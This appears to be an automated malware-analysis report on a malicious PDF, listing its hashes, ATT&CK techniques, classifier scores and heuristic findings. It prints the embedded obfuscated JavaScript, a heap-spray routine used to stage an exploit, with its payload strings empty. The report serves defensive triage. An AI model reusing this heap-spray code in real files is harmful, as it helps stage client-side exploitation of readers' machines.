PDF malware analysis — malicious · 80324dbf4eef78c4

MALICIOUS

PDF

1.3 KB First seen: 2026-05-10

MD5: 8af564a72257816da0424372c206ec04 SHA-1: 553677aecc113879717b644a425487c92fa7d9b9 SHA-256: 80324dbf4eef78c45e3149facae42c55f7f75308257ee8d04511d5da6fed807d

148 Risk Score

Malware Insights

MITRE ATT&CK

T1059.007 JavaScript T1203 Exploitation for Client Execution

The PDF file contains embedded JavaScript that utilizes the unescape function and performs a heap spray. This behavior is indicative of an exploit attempting to prepare the system for a second-stage payload. The ML classifier strongly flags this PDF as malicious, supporting the exploit cluster findings. No specific IOCs like URLs or hashes were directly extracted from the script's logic.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 4

JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
Matched line in script
```
var WoBlSLYhVaeVjclflqLygNhNzXsnOsZnQunDxWSpZSWfgntPZUmsNAxIyidxEqdauobjRNSDYiXYEWjlchysWVZb = unescape("");
var yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM = unescape("");
```
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0006_000.js`	pdf-javascript-stream	PDF /JS object 6 at offset 0x167	751 bytes
SHA-256: `c98da656623341260e5f6c7ef344052934358e9cefe98063eb9843d5abdbf692`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script var WoBlSLYhVaeVjclflqLygNhNzXsnOsZnQunDxWSpZSWfgntPZUmsNAxIyidxEqdauobjRNSDYiXYEWjlchysWVZb = unescape(""); var yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM = unescape(""); while(yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM.length <= 32768) yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM+=yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM; yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM=yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM.substring(0,32768 - WoBlSLYhVaeVjclflqLygNhNzXsnOsZnQunDxWSpZSWfgntPZUmsNAxIyidxEqdauobjRNSDYiXYEWjlchysWVZb.length); memory=new Array(); for(i=0;i<0x2001;) { memory[i]= yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM + WoBlSLYhVaeVjclflqLygNhNzXsnOsZnQunDxWSpZSWfgntPZUmsNAxIyidxEqdauobjRNSDYiXYEWjlchysWVZb; i++; }
`javascript_obj0006_001.js`	pdf-javascript-stream	PDF /JS object 6 at offset 0x189	975 bytes
SHA-256: `1fed23c5171097fadacad102f3674d116070a36c7b820d654bfb494a490e9e61`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script var WoBlSLYhVaeVjclflqLygNhNzXsnOsZnQunDxWSpZSWfgntPZUmsNAxIyidxEqdauobjRNSDYiXYEWjlchysWVZb = unescape(""); var yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM = unescape(""); while(yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM.length <= 32768) yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM+=yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM; yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM=yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM.substring(0,32768 - WoBlSLYhVaeVjclflqLygNhNzXsnOsZnQunDxWSpZSWfgntPZUmsNAxIyidxEqdauobjRNSDYiXYEWjlchysWVZb.length); memory=new Array(); for(i=0;i<0x2001;) { memory[i]= yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM + WoBlSLYhVaeVjclflqLygNhNzXsnOsZnQunDxWSpZSWfgntPZUmsNAxIyidxEqdauobjRNSDYiXYEWjlchysWVZb; i++; } endstream endobj xref 0 7 0000000000 65535 f 0000000015 00000 n 0000000100 00000 n 0000000297 00000 n 0000000148 00000 n 0000000207 00000 n 0000000359 00000 n trailer << /Root 1 0 R /Size 7 >> startxref 1160 %%EOF

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